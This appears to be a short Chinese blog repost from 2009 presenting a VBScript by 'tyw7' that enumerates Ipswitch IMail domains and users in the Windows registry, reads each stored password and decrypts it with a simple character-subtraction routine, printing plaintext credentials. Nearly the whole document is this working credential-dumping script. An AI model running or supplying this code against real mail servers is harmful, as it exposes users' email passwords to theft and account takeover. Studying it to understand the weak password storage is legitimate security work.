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# 鬼仔注：以前发过一个Imail密码加密算法及VBS实现

作者：tyw7

自动从注册表中读取并解密

‘imail password decrypt
‘code by tyw7  2009-4-15
‘http://www.tyw7.cn

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.”
Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!\\” &_
strComputer & “\root\default:StdRegProv”)
strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo “Domain: “&subkey
strKeyPath2 = strKeyPath&”\”&subkey&”\Users”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&”\”&subkey2
strValueName = “Password”
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p=”&H”&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function